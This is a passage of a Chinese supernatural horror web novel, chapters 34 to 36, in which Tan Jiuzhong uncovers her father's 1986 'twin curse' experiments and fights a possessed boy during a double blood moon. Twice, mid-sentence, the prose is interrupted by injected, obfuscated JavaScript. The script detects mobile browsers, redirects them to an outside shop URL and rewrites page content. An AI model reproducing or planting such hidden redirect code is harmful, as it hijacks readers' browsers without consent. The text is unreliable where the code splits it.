老妇人咯咯笑起来,声音年轻得与外表不符:“沈胭脂早就死了。”她举起灯笼,光照出她布满皱纹的脸,“我是她的‘影子’...就像裴子晏是你的‘影子’一样...” 灯笼的光照在青铜簋上,簋内突然投影出一段影像:年轻的沈胭脂站在同样的祠堂里,左手腕也有月牙胎记。她面前站着穿长衫的老者——正是试图占据裴子晏身体的那个存在! “老师...”沈胭脂的声音从簋中传出,“非要如此吗?” 老者冷酷地回答:“双生咒需要两个命格相合者...你是我最好的学生...也是最适合的容器...” 影像突然切换。沈胭脂被绑在祭台上,老者将某种液体注入她的胎记。她的身体剧烈抽搐,而角落里...站着年轻的父亲,怀里抱着个婴儿! “那是...“阿青瞪大眼睛。 “我。”檀九重声音发紧,“所以沈胭脂真是我母亲...而那个老 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老妇人的衣领滑落,露出锁骨下方的铜钱——与裴子晏心口的一模一样!只是她的铜钱已经锈蚀穿孔,里面露出青灰色的金属光泽。 “我也曾是个‘容器’...”老妇人苦笑,“直到新的‘影子’取代我...”她的目光落在檀九重左手腕上,“你的胎记...快圆满了...” 檀九重低头,月牙胎记的红线又延伸了一截,只差最后一点就能闭合。她突然明白了父亲的意思——当胎记闭合时,就是做出最终选择的时刻。 “为什么是我选择?”她质问老妇人,“这一切到底...” 老妇人的身体突然僵直,灯笼掉在地上。她的皮肤如蜡般融化,露出下面青铜色的骨骼。最后时刻,她挣扎着指向祠堂后墙:“镜...子...” 檀九重转头看去,墙上挂着面布满灰尘的铜镜。她上前擦拭,镜中映出的不是她的倒影,而是裴子晏!他站在一个类似地牢的地方,身边是穿红肚兜的无面孩童。最恐怖的是,他的左半身已经变成青铜材质,正缓慢地向心脏蔓延... “学姐...”镜中的裴子晏似乎能看见她,“别相信...镜子...”他的声音断断续续,“记住...韭菜饺子...是你母亲...最后的...” 话未说完,镜面突然裂开一道缝,裴子晏的影像如信号不良般闪烁起来。无面孩童缓缓抬头,‘看’向檀九重,然后...伸出小手,按在裴子晏心口的铜钱上! “不!”檀九重一拳打向镜面。 镜子应声碎裂,但在最后一刻,她看到碎片上的倒影全部变成了沈胭脂的脸,同时对她低语: “选择吧...女儿...是记住一切...还是永远遗忘...” 祠堂剧烈震动起来。檀九重抓起青铜簋和阿青冲向门外。身后,老妇人的遗体已经彻底化为青铜雕像,而祠堂的墙壁上浮现出无数个‘裴子晏’的名字,像是所有曾经的‘容器’在同时呐喊。 天空乌云密布,血月虽已过去,但那种压迫感仍在。檀九重看着怀中的青铜簋,知道必须在胎记完全闭合前做出选择——是烧毁簋恢复所有记忆(包括那些被父亲刻意抹去的),冒着失去裴子晏的风险;还是保留簋维持现状,让轮回继续... 就在这时,她的手机突然响了。是一条陌生号码发来的彩信——照片中是个玻璃培养舱,里面漂浮着个右腕有月牙胎记的男孩。拍摄日期是:2023年7月7日。 下方只有一行字: “姐姐,救我。——阴子晏” 34. 双生书 青岩坳的雨带着铁锈味。 檀九重将青铜簋裹在防水布中,与阿青深一脚浅一脚地向村外走去。手机早已没有信号,那条署名"阴子晏"的求救信息如同幻觉,却在相册里真实存在。 “檀姐,我们去哪?”阿青的声音在雨声中模糊不清。 “县图书馆。”檀九重摸了摸背包里的古籍照片,“查《契丹秘葬录》。” 照片是祠堂里拍下的,青铜簋内壁拓印的文字中反复提到这本书。如果‘双生咒’真如老妇人所说源自辽代,那么这本记载契丹秘葬的文献可能有答案。 雨越下越大。两人刚走到村口废弃的晒谷场,一个佝偻身影突然从草垛后闪出——是之前那个自称老向导的老人!只是此刻的他眼神清明,哪有半分浑浊? “丫头...”老人咧嘴一笑,露出满口黄牙,“把簋给我...” 檀九重本能地后退,手按在腰间的青铜匕首上:“你不是说你是86年考古队的向导?” “是啊...”老人慢慢直起腰,关节发出令人牙酸的咔咔声,“但我没说...我是站在你父亲那边的...” 他的皮肤在雨中泛起诡异的青灰色,像是正在蜕皮的蛇。阿青尖叫一声指向他的脖子——那里有个铜钱大小的疤痕,与裴子晏心口的一模一样! “三十年了...”老人从怀里掏出一把锈迹斑斑的考古锤,“该完成换命仪式了...” 檀九重推开阿青,自己却慢了一步。老人的锤子狠狠砸在她后腰,剧痛瞬间炸开。她踉跄着跪倒在地,摸到温热的血,还有...某种坚硬的异物嵌在肉里? “果然还在...”老人兴奋地喘息,“檀明远那混蛋...居然把半片铭文缝在亲生女儿身体里!” 檀九重艰难地扭头,却看不到自己的后腰。阿青颤抖着帮她掀起衣服,倒吸一口冷气——檀九重的后腰有个从未注意过的陈旧缝合疤,形状像个月牙,此刻被锤子砸开,露出里面青绿色的金属光泽! “学姐!”阿青的声音带着哭腔,“里面有东西!” 老人再次举起锤子:“给我!” 檀九重咬牙翻滚避开,锤子砸在泥地上溅起污水。她反手拔出青铜匕首刺向老人大腿,却被他灵巧地躲开——这绝不是七八十岁老人该有的身手! “你以为我在千棺葬活下来是靠运气?”老人狞笑着撕开自己的衣领,露出胸膛——那里没有心脏,只有一个青铜制成的机械结构,与裴子晏心口的如出一辙!“当年你父亲用我做了第一个活体实验...现在该轮到他的女儿偿还了!” 檀九重趁机抓起一块石头砸向老人面门。趁他吃痛后退的间隙,她颤抖着手指探向自己后腰的伤口——指尖触到了某种冰凉的金属片! “阿青...帮我拔出来!” 阿青脸色惨白,但还是颤抖着伸手。随着金属片被缓缓抽出,檀九重发出一声压抑的痛呼——那是半片青铜铭文,边缘参差不齐像是被暴力折断,表面刻满细小的契丹文字! 老人看到铭文瞬间癫狂:“给我!”他扑过来的速度快得不可思议,“那是我的命!” 檀九重勉强滚开,却被他抓住脚踝拖回。就在老人枯爪般的五指即将触及铭文时,一个血淋淋的身影从雨幕中冲出,直接将老人撞飞出去! “裴...子晏?” 檀九重几乎认不出他来。青年浑身是伤,左臂完全变成了青铜色,右眼灰白扩散到半边脸颊。但最骇人的是他的右手——五指已经异化成金属利爪,正滴着某种黑色粘液。 “学姐...”他的声音带着双重回声,“退后...” 老人爬起来,表情从震惊变成狂喜:“第七号!你终于觉醒了!”他张开双臂像要拥抱裴子晏,“来吧...完成我们三十年前的约定...” 裴子晏的动作快如鬼魅。没等老人说完,他的金属利爪已经刺入对方胸膛,精准地抓住那个青铜机械装置! “你...!”老人惊恐地瞪大眼睛,“你不是第七号...你是...阴...子...” 话未说完,裴子晏已经生生撕开他的胸膛,将整个青铜结构拽了出来!没有血喷出,只有黑色丝线如活物般扭动。老人瘫倒在地,身体迅速干瘪下去,像被抽空的气球。 “三十年前...”裴子晏捏碎手中的青铜装置,“你用我哥哥的命换了自己十年阳寿...”他转向檀九重,右眼恢复了些许清明,“现在...连本带利还清了...” 檀九重艰难地爬起来,后腰的伤口火辣辣地疼。她举起那半片青铜铭文:“这是什么?为什么在我身体里?” 裴子晏的表情突然变得异常复杂:“那是...‘双生咒’的另一半契约...”他指了指自己心口的铜钱,“与我这里的...是一对。” 阿青突然惊呼:“檀姐!你的胎记!” 檀九重低头,左手腕的月牙胎记正以肉眼可见的速度延伸,两端红线几乎要连接起来!而更诡异的是,她手中的青铜铭文开始发热,表面的契丹文字一个个亮起红光。 “没时间了...”裴子晏抓起老人的背包,掏出一本发黄的线装书扔给她,“《契丹秘葬录》...看最后三页...” 书页已经霉变,但最后几页被人用塑料膜精心保护着。檀九重颤抖着翻到指定位置,映入眼帘的是一幅精细绘图——两个孩童背对背站立,一个心口嵌铜钱,一个后腰埋铭文,两人被无数黑线缠绕。图下方写着: “双生咒,契丹国师耶律阿保机所创。需取至亲双子,兄取弟心血铸钱,弟取兄肋骨刻铭,互为契约。兄承弟之因果,弟享兄之阳寿,七世轮回,不死不灭。” “至亲...双子?”檀九重如坠冰窟,“所以照片里那两个男孩...” “是你同父异母的弟弟。”裴子晏的声音轻得像叹息,“1986年...檀教授用他们做了实验...阳子晏活下来成了‘裴子晏’...阴子晏被...” 他的话被一阵刺耳的金属摩擦声打断。地上的老人尸体突然抽搐起来,胸腔裂口处伸出无数黑线,像蜘蛛般将身体拉起! “小心!”裴子晏推开檀九重,自己却被黑线缠住左腿。那些丝线如有生命般迅速攀爬,所过之处他的皮肤开始石化! 檀九重抄起青铜匕首砍向黑线。刀锋接触的瞬间,黑线发出婴儿啼哭般的尖叫,缩回老人体内。尸体轰然倒地,这次彻底不动了。 “学姐...快走...”裴子晏的左腿已经变成青灰色,“血月之后第七天...仪式会自动完成...你必须...” “什么仪式?”檀九重扶住他,“那个‘阴子晏’是谁?为什么给我发求救信息?” 裴子晏的右眼流下一行血泪:“他不是在求救...是在引诱...”他突然剧烈咳嗽起来,吐出一团缠绕着青铜碎片的黑丝,“去县图书馆...地下古籍修复室...有你要的答案...” 雨幕中传来奇怪的沙沙声,像是无数人拖着脚步在靠近。阿青惊恐地指向村子方向——十几个村民模样的身影正缓慢走来,每个人的胸口都有个铜钱大小的洞! “活尸...”裴子晏挣扎着站起来,“老人的同伙...都移植了青铜心...”他将檀九重推向车子,“走!我来拖住他们...” 檀九重不肯放手:“一起走!” 裴子晏突然笑了,酒窝在血迹斑斑的脸上显得格外刺目:“学姐...这是在担心我吗?”他的指尖轻抚她后腰的伤口,沾血的手指在自己唇上一抹,“现在我们都流着对方的血了...” 这个动作太过暧昧,檀九重一时语塞。没等她反应过来,裴子晏已经冲向那些活尸,金属化的左臂如镰刀般挥舞。最骇人的是,他的影子在雨中分裂成三个——本体、穿长衫的老者和无面孩童! “檀姐!”阿青拽着她上车,“再不走就来不及了!” 檀九重咬牙发动车子,后视镜里最后看到的,是裴子晏被活尸淹没的身影,以及...他转头时那个近乎解脱的微笑。 县图书馆是一座苏式老建筑,地下古籍库常年阴冷潮湿。管理员是个戴厚眼镜的老头,看到檀九重血迹斑斑的衣服时差点叫来保安。 “我们找《契丹秘葬录》。”阿青亮出民俗研究所的证件,“特批调阅。” 老头嘟囔着带他们来到最里间的修复室。厚重的防盗门后,一本皮质封面的大书躺在无菌箱里,书页泛黄脆化,但保存完好。 “这是民国 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“7月7日,千棺葬。阳子晏(左眼)与阴子晏(右眼)就位。按老师指示,取阳子心血注入阴子眉心,阴子心血注入阳子后腰。阴子出现排异反应,暂封黑棺。阳子状态稳定,可带回继续观察。” “7月15日,阴子意外苏醒,伤三人后逃脱。伪造阳子死亡证明混淆视线,实际已更名裴子晏送入福利院。” 最下方还有一行被反复涂改又恢复的字迹:“九重与双子命格相合,待其五岁可尝试三位一体,彻底解决排异问题。” 檀九重的手不受控制地发抖。如果理解没错,父亲在1986年用双胞胎做了实验,其中一个(阳子晏)成了她后来认识的‘裴子晏’,另一个(阴子晏)被封印但逃脱了...而等她五岁时,父亲打算用她做某种‘三位一体’的实验? “这是什么?”阿青指着书页夹层里露出的一角。 檀九重小心抽出来——是张老照片,年轻的父亲站在实验室里,身边是三个孩子:两个穿蓝布衫的双胞胎男孩,和一个...穿红裙子的小女孩! 女孩右手牵着阳子晏,左手被父亲握着,笑容灿烂。最令人毛骨悚然的是,她左手腕上有个小小的月牙胎记! 照片背面写着:“九重与双子初次见面,1985年冬。老师言三者命格完美契合。” 檀九重如坠冰窟。她完全不记得这张照片,也不记得自己见过这对双胞胎。但如果照片是真的,那么父亲不仅篡改了裴子晏的记忆...也篡改了她的! “学姐...终于想起来了?” 熟悉的声音从身后传来。檀九重猛地转身,只见裴子晏靠在门框上,浑身是伤但还活着。他的左臂已经恢复人形,只是皮肤苍白得不正常。最引人注目的是他的右眼——不再是灰白色,而是变成了与她一模一样的深褐色! “你...” “阴子晏的信息是陷阱。”裴子晏慢慢走近,“他想要的是你手里的半片铭文...”他指了指自己心口的铜钱,“和我这里的另一半...合起来就是完整的‘双生契’...” 檀九重警觉地后退:“你到底是谁?阳子晏还是...” “都是...也都不是。”裴子晏苦笑,“1986年那个实验...其实成功了...又不完全成功...”他的声音突然变得异常疲惫,“我和阴子晏...某种程度上融合了...就像...” “就像你和那个老者的灵魂共存?”檀九重尖锐地问。 裴子晏的表情凝固了:“你...知道了?” “猜的。”檀九重亮出青铜匕首,“现在告诉我真相...全部。否则...” 裴子晏突然剧烈咳嗽起来,吐出的黑丝中夹杂着青铜碎片:“没时间了...”他指向窗外,“看...” 图书馆的窗户正对西方。暮色中,一轮血月正缓缓升起——明明血月之夜已经过去,这不合常理! “反月...”裴子晏的声音带着恐惧,“阴子晏强行逆转了仪式...现在他要...” 话未说完,图书馆的灯光突然全部熄灭。黑暗中,无数细碎的摩擦声从四面八方传来,像是有什么东西正沿着墙壁爬行... 35. 染血证 图书馆的黑暗如有实质。 檀九重屏住呼吸,青铜匕首横在胸前。黑暗中那些窸窣声越来越近,夹杂着类似指甲刮擦金属的刺耳声响。阿青死死攥住她的衣袖,颤抖得像风中的叶子。 “别动。”裴子晏的声音从右侧传来,“它们在定位我们...” 话音刚落,一声玻璃爆裂的脆响震彻耳膜。月光透过破碎的窗户照进来,映出地上密密麻麻的黑影——是老鼠,但又不完全是。这些‘老鼠’的头部呈现人脸特征,身体却细长得不自然,正以诡异的姿势向三人爬来! “走!”裴子晏一把推开古籍室后门,“地下室!” 三人跌跌撞撞冲下楼梯。檀九重的后腰伤口火辣辣地疼,血渗透了临时包扎的绷带。身后,那些人脸老鼠已经追到楼梯口,发出婴儿啼哭般的尖叫。 裴子晏踹开一扇锈蚀的铁门,里面是图书馆的老旧档案库。他反锁上门,迅速用书架堵住入口,又从怀里掏出一把生锈的钥匙插进墙上的电源盒——电流声噼啪作响,门外的尖叫声顿时变成了愤怒的嘶吼。 “暂时安全了...”他靠着墙滑坐在地,右眼的褐色又开始褪回灰白,“但它们会找到别的入口...” 檀九重打开手机照明,环顾四周。档案库里堆满了泛黄的报纸和文件,空气中弥漫着霉菌和灰尘的气味。角落里有个破损的包裹,像是被人匆忙丢弃的。 “那是...” 裴子晏顺着她的目光看去,脸色骤变:“别碰!” 太迟了。檀九重已经捡起包裹,牛皮纸在她手中碎裂,露出里面的物品——一本学生证。封面上‘北京大学考古文博学院’的字样已经褪色,内页照片处□□涸的血迹糊住,只能隐约看出是个年轻男性的轮廓。 “这是...你的学生证?”阿青小声问。 裴子晏没有回答。他的目光死死盯着从学生证里滑落的另一张卡片——是张1986年的工作证,持证人姓名赫然是‘檀明远’!照片里的父亲比檀九重记忆中的年轻许多,胸前别着枚奇怪的徽章,形状像是两个交叠的月牙。 “学姐...”裴子晏的声音异常平静,“看看学生证夹层。” 檀九重小心地拆开学生证塑料封套。夹层里藏着一张泛黄的纸条,上面是父亲熟悉的笔迹: “实验体7号伪装身份已安排,学籍档案与宿舍俱备。注意每月15日需补充血液样本,防止□□腐坏。1987.9.1” 纸条背面还贴着一张极小的照片——五岁左右的裴子晏(右腕有胎记)站在北大西门,身边是年轻的父亲,两人都穿着不合季节的厚外套。照片日期却是:1993年7月! “这不可能...”檀九重声音发紧,“1993年你应该已经...” “死了?”裴子晏苦笑,“是啊,按照死亡证明..”他指了指工作证,“但檀教授很擅长伪造文件...” 檀九重突然想起什么,从包里取出指纹采集套件。当她将显影粉撒在学生证塑料膜上时,一个完整的拇指指纹逐渐浮现——是她的指纹!但更诡异的是,经比对,这个指纹与她现在的完全一致,包括细微的纹路特征... “塑料膜生产于1986年...”她的声音开始发抖,“而我1993年才出生...” 裴子晏的左眼完全变成了灰白色:“时间...对学姐和我们来说...不是线性流动的...” 阿青突然惊呼:“檀姐!你的胎记!” 檀九重卷起袖子,左手腕的月牙胎记已经闭合成完整的圆形,散发出微弱的红光。与此同时,她的太阳穴突突直跳,一段被深埋的记忆如洪水般涌出—— 五岁的她蹲在实验室通风管道里,透过百叶窗看到地下室的情景:两个穿蓝布衫的男孩扭打在一起,一个左眼灰白,一个右眼灰白。父亲站在旁边,手里拿着注射器,冷静地观察着。突然,右眼灰白的男孩(阴子晏?)挣脱控制,扑向实验台...那里躺着个穿红裙子的小女孩,左手腕绑着绷带... “那是我...”檀九重喃喃自语,“我被当成了...实验品?” 记忆继续展开:父亲抓住阴子晏,给他注射了什么。男孩抽搐着倒下,而左眼灰白的阳子晏趁机拿起手术刀,划开自己的手腕,将血滴在昏迷的女孩胎记上... “血祭...”裴子晏轻声说,“双生咒的最后一步...用我的血激活你的‘容器’属性...” 檀九重猛地抬头:“所以我的胎记...” “是‘门’。”裴子晏指了指自己心口的铜钱,“和我这里的...是一对。”他苦笑,“学姐小时候总问我为什么叫你‘小月亮’...现在明白了吗?” 档案库突然剧烈震动,堵门的书架轰然倒塌。门外不再是那些人脸老鼠,而是一个穿蓝布衫的小男孩——右眼灰白,右手腕有月牙胎记,与照片中的阴子晏一模一样! “姐姐...”男孩歪着头,声音却苍老得可怕,“我来取回我的东西了...” 裴子晏挡在檀九重前面:“退后!他不是...” 男孩突然加速冲来,速度快得拉出残影。裴子晏勉强格挡,却被直接撞飞出去,重重砸在档案架上。灰尘飞扬中,男孩已经来到檀九重面前,冰凉的小手抚上她的胎记。 “多完美的容器啊...”男孩的声音分裂成两个声调,“父亲把你改造得比沈胭脂更出色...” 檀九重举起青铜匕首,但男孩轻易就夺走了它。“别紧张...姐姐...”他露出天真的笑容,“我只是来拿回本该属于我的生命...”说着,匕首直接刺向檀九重的心脏! 千钧一发之际,裴子晏从侧面扑来,用身体挡下这一刀。匕首深深刺入他的肩膀,流出的却是黑色丝线和青铜碎片的混合物。 “哥哥...”男孩叹息,“你还是这么爱逞英雄...”他突然拔出匕首,刺向裴子晏心口的铜钱,“那就把‘契’还给我!” 金属碰撞声刺耳。铜钱被匕首挑飞,露出下面精密的青铜机械结构——那根本不是心脏,而是一个微型祭坛!中央凹陷处正好能放下檀九重那半片青铜铭文! 裴子晏趁机抓住男孩手腕,两人僵持不下。令檀九重毛骨悚然的是,他们的影子在墙上融合又分离,像是两个争夺同一具身体的灵魂... “学姐...”裴子晏从牙缝里挤出声音,“桃木剑...刺铜钱位置...” 檀九重这才想起包里的桃木剑。她迅速取出,却犹豫了——这一剑下去,会杀死谁?阴子晏?还是裴子晏?或者...释放出什么更可怕的东西? “快!”裴子晏的嘴角渗出黑血,“他要用你的胎记完成逆转仪式!” 男孩突然笑了:“姐姐...你真的相信他是‘裴子晏’吗?”他的右眼流下一行血泪,“1986年死在医院的是阳子晏...活下来的...是我啊...” 檀九重如遭雷击。如果眼前这个男孩才是真正的‘裴子晏’,那么一直陪在她身边的又是谁? “别听他的!”裴子晏怒吼,声音突然变得异常苍老,“他在混淆你的记忆!” 这个熟悉的声调让檀九重浑身冰凉——是那个试图占据裴子晏身体的老者声音!她举起桃木剑,却不知道该指向谁。 最终,她将剑尖抵在裴子晏心口的青铜装置上:“最后一次机会...”她的声音冷静得可怕,“你是我父亲复活的1986年裴子晏,还是...” 裴子晏突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732169|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然笑了,酒窝在血迹斑斑的脸上显得格外刺目:“学姐终于问出这个问题了...”他右手成爪,直接刺入自己肋骨间的旧伤! “裴子晏!” 黑血喷涌而出。裴子晏面不改色地从伤口中掏出一块青铜片——与他心口的材质相同,但上面刻的不是符文,而是一行生辰八字: “癸酉年七月初七子时” 檀九重的手开始发抖。这是她的生日,但...时间不对。她一直过的是7月15日的生日,父亲说因为当年她早产了将近一周... “这才是学姐真实的出生时间...”裴子晏的声音越来越弱,“七月初七...鬼门开...最适合做‘容器’的命格...”他艰难地指向男孩,“而他...想用这个重置仪式...” 男孩突然暴起,试图抢夺青铜片。檀九重本能地挥动桃木剑,剑尖划过男孩右腕的胎记——与她和裴子晏一模一样的月牙形! “啊!”男孩发出不似人类的尖啸,“你怎么敢...!” 胎记伤口处没有流血,而是涌出黑色丝线。男孩的身体开始扭曲变形,皮肤下有什么东西在蠕动。最恐怖的是,他的影子正在分离——一个保持孩童形态,另一个则是穿长衫的老者! “老师...”裴子晏冷笑,“终于露出真面目了...” 檀九重这才恍然大悟。阴子晏早就被老者占据了身体,就像裴子晏曾经被部分占据一样!而老者的目的,是利用她的胎记完成某种逆转仪式... “学姐...”裴子晏将青铜片塞进她手里,“只有你能结束这一切...”他的眼神突然变得异常温柔,“就像小时候...你从通风管道里救我一样...” 五岁那天的记忆突然清晰起来:她确实偷偷潜入过实验室,但不是偶然——是父亲让她去的!为了在‘关键时刻’将某种药剂注入通风系统... “那瓶蓝色药剂...”檀九重喃喃自语。 裴子晏点头:“抑制剂...暂时阻断老师对阴子晏的控制...”他咳出一团黑丝,“现在...需要更彻底的解决方法...” 男孩(或者说老者)已经重新站稳,右腕的伤口迅速愈合。他冷笑着举起青铜匕首:“你以为一块破铜片能改变什么?仪式已经启动了...”他指向窗外,“看...” 血月此刻达到了最亮的程度,月光透过高窗照在檀九重身上。她手中的青铜片突然发烫,上面刻的生辰八字一个个亮起红光。与此同时,她的胎记也开始灼烧般疼痛,仿佛有什么东西要从里面破体而出! “学姐...”裴子晏艰难地爬起来,“选择权在你...”他指了指青铜片,“毁掉它...或者...” “或者用它完成逆转仪式。”男孩接话,声音已经完全变成老者的,“让一切回归正轨...让该活的活...该死的死...” 檀九重看着手中的青铜片,又看看裴子晏血肉模糊的胸口。父亲究竟对她做了什么?为什么她的记忆被篡改?真实的生日又意味着什么? 最令她恐惧的是,如果眼前这个男孩真的是阴子晏,那么她五岁时的‘营救’,是否实际上破坏了某个本该完成的仪式? 档案库的门突然被撞开。阿青尖叫着指向门口——站着另一个裴子晏!这个"裴子晏"左眼灰白,浑身是伤,手里提着盏血灯笼,与檀九重记忆中五岁那晚看到的情景一模一样! “时间...重叠了...”重伤的裴子晏苦笑,“血月的...副作用...” 两个‘裴子晏’隔着檀九重对视,一个年轻,一个孩童,却有着相同的胎记。而更诡异的是,墙上出现了第三个影子——穿长衫的老者,正缓缓举起双手,仿佛在主持某种邪恶的仪式... 36. 局终局 档案库的空气凝固了。 两个‘裴子晏’——孩童与青年——隔着檀九重对峙,墙上第三个影子如幕布后的操纵者。血月透过高窗投下的光斑恰好笼罩着檀九重手中的青铜片,上面刻的生辰八字泛着诡异的红光。 “学姐...别给他...”青年裴子晏艰难地维持站立姿势,胸口的青铜装置发出不祥的嗡鸣,“那上面有你的真名...” 孩童模样的阴子晏(或者说占据他身体的老者)咯咯笑起来:“真名?”他的声音忽高忽低,“她连自己是谁都不知道,谈什么真名?” 檀九重突然将青铜片按在左手腕的胎记上。一阵剧痛如电流般窜遍全身,但与此同来的是潮水般的记忆碎片—— 五岁的她穿着红裙子站在实验室里,父亲蹲下身与她平视:“九重,待会儿无论看到什么,都不要出声...” 通风管道里的视角:两个男孩被绑在椅子上,父亲手持注射器走向他们... 某个雨夜,父亲抱着昏迷的她来到千棺葬,将她放在黑棺上,用银针在她胎记上刺入某种液体... “啊!”檀九重跪倒在地,记忆与现实重叠的痛苦几乎撕裂她的意识。青铜片与胎记接触的部分开始融合,月牙形的印记两端延伸出青铜纹路,如同活物般在她皮肤上蔓延。 “住手!”阴子晏尖叫着扑来,却被阿青用铜镜挡住。镜面虽然布满裂纹,却映出了他体内真实的形态——不是孩童,而是一团蠕动的黑雾中包裹着老者的干尸! 趁着这个间隙,裴子晏抓起地上的学生证,将其浸入自己伤口流出的黑血中。血月的光照在证件上,原本被血迹遮盖的照片位置渐渐浮现出隐形字迹: “丙寅年七月初七,双生子择一而杀,余者镇棺。檀明远手记。” “学姐...看这个...”裴子晏将学生证递给她,声音虚弱得几不可闻,“你父亲...当年被迫做的选择...” 檀九重强忍剧痛阅读那些字迹。每个字都像刀刻进她的记忆——1986年7月7日,父亲在千棺葬进行仪式时出了意外,原本计划用双胞胎作为‘双生咒’的载体,却发现他们体内早已存在某种古老的东西... “不是...选择...”角落里突然传来气若游丝的声音。是那个垂死的老向导!他竟然还没断气,正艰难地爬向众人,“檀医生...选的是...你...” 檀九重如遭雷击:“什么意思?” 老向导的胸膛大开,里面的青铜装置已经停止运转。他用最后的力气指向阴子晏:“那东西...根本不是孩子...是墓里带出来的...”又指向裴子晏,“而他...是檀医生用你和阳子晏的...混合物...” “闭嘴!”阴子晏暴怒,孩童的身躯突然膨胀变形,皮肤下凸起无数张人脸,“你们懂什么!我们比人类古老得多!” 老向导对檀九重露出一个残缺的微笑:“当年...檀医生发现真相后...用你的血...重写了仪式...”他咳出最后一团黑丝,“所以活下来的...是你选择的那个...” 话音未落,他的身体突然干瘪下去,化作一堆青铜色粉尘。阴子晏发出胜利的尖笑,扑向檀九重手中的青铜片:“现在...该物归原主了!” 裴子晏挡在檀九重前面,却被直接贯穿胸膛。黑血喷溅在青铜片上,那些生辰八字突然脱离金属表面,悬浮在空中组成一个奇特的阵图。 “学姐...就是现在...”裴子晏抓住阴子晏的手臂不让他挣脱,“把青铜片...按在胎记上...” 檀九重毫不犹豫地照做。青铜片完全融入胎记的瞬间,整个档案库如地震般剧烈摇晃。她的视野突然分裂——一边是现在的场景,一边是三十年前的千棺葬: 年轻的父亲跪在黑棺前,面前是两个昏迷的男孩和一个穿红裙的小女孩(她自己!)。父亲手中拿着银针,针尖滴着血... “不选双子...”记忆中的父亲喃喃自语,“选九重...用她的命格...重构一切...” 银针刺入小女孩的胎记,她发出撕心裂肺的哭喊。与此同时,两个男孩中的一个(左眼灰白的阳子晏)突然睁开眼睛,挣扎着爬向小女孩... 现实与记忆在此刻重叠。檀九重终于明白——当年父亲没有选择双胞胎中的任何一个,而是选择用她作为"重构仪式"的核心!而那个爬向她的阳子晏...就是现在的裴子晏的前身! “你...想起来了?”裴子晏的声音将她拉回现实。他的身体已经开始崩解,皮肤下露出青铜色的脉络,“学姐...那天是你...把抑制剂塞给我的...” 阴子晏(老者)发出不甘的咆哮:“不!仪式应该完成!”他的身体如融化的蜡般扭曲,“我们本该...永生...” 档案库的墙壁开始渗出黑血,那些血珠在空中组成一个个古老的符文。阿青尖叫着指向窗外——血月正在分裂,变成两个重叠的圆! “时间重叠达到顶峰...”裴子晏艰难地解释,“学姐...必须...烧掉灯笼...” 檀九重这才注意到角落里不知何时出现了七盏血灯笼,排列成北斗七星形状。最中央的那盏里面,隐约可见一个小小的身影——是丫丫! “丫丫还活着?” “不...那是她的‘影子’...”裴子晏的右眼开始失去焦距,“就像老者...占据阴子晏一样...” 阴子晏的身体突然爆炸,化作无数黑丝射向四面八方。其中大部分被青铜片发出的红光挡下,但仍有一缕钻进了阿青手中的铜镜! “啊!”阿青丢下镜子,只见镜面浮现出老者的脸,“檀姐...我...” 铜镜突然飞起,直接扣在阿青脸上!她剧烈挣扎起来,皮肤下有什么东西在蠕动... “阿青!”檀九重想上前帮忙,却被裴子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16752470|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏拦住。 “没时间了...”他指向正在分裂的血月,“当月亮完全分开...轮回就会重置...”突然咳出一大口黑血,“学姐...必须...亲手结束这一切...” 檀九重看着怀中濒死的裴子晏,又看看被附身的阿青,突然明白了自己该做什么。她抓起地上的桃木剑,咬破舌尖将血喷在剑身上: “以血为引,以骨为媒,今破双生,因果自担!” 剑身发出刺目的金光。檀九重先是一剑刺穿铜镜,阿青应声倒地,镜中传出老者凄厉的惨叫;接着转向七盏灯笼,剑尖挑破最中央那盏——丫丫的虚影对她微微一笑,随即消散在空气中。 剩余六盏灯笼自动聚拢,火焰由红转青。檀九重将桃木剑掷入火中,火焰瞬间蹿高,形成一道火柱直指分裂的血月! “裴子晏...”她转身想扶起青年,却摸到一手黑灰——他的下半身已经化为青铜粉尘,“不...” 裴子晏用最后的力气握住她的手:“学姐...记得吗...”他的声音越来越轻,“你问过我...为什么要答应你父亲...” 檀九重点头,泪水模糊了视线。 “因为...”他露出那个熟悉的、带着酒窝的笑容,“笼子外面...有个会偷偷给我塞糖的小女孩啊...” 这句话成了压垮檀九重理智的最后一根稻草。五岁那年的记忆完全解锁——她确实经常溜进实验室,不是偶然,而是故意的。因为那个左眼灰白的男孩总对她笑,还会用黑丝折小动物逗她开心... “骗子...”她哽咽着说,“你明明说...不记得小时候的事...” 裴子晏的左眼已经完全变成青铜色:"记得太多...会很疼的..."他的手指轻触她手腕上已经变成青铜色的胎记,“现在...我们永远连在一起了...” 血月在这一刻完全分裂。整个档案库如镜子般破碎,檀九重最后的意识是裴子晏化为青铜粉尘的身影,和那句随风消散的: “下次...换学姐...来找我...” 世界霎时间陷入黑暗。 檀九重在工地上醒来,身边是昏迷的阿青。朝阳初升,仿佛昨夜的恐怖只是一场噩梦。但她知道不是——左手腕的胎记已经彻底变成青铜色,上面浮现出细小的契丹文字。 工地空无一人,只有七盏熄灭的灯笼散落四周。檀九重将它们收集起来,浇上汽油点燃。火焰腾空而起,在晨光中呈现出诡异的青色。 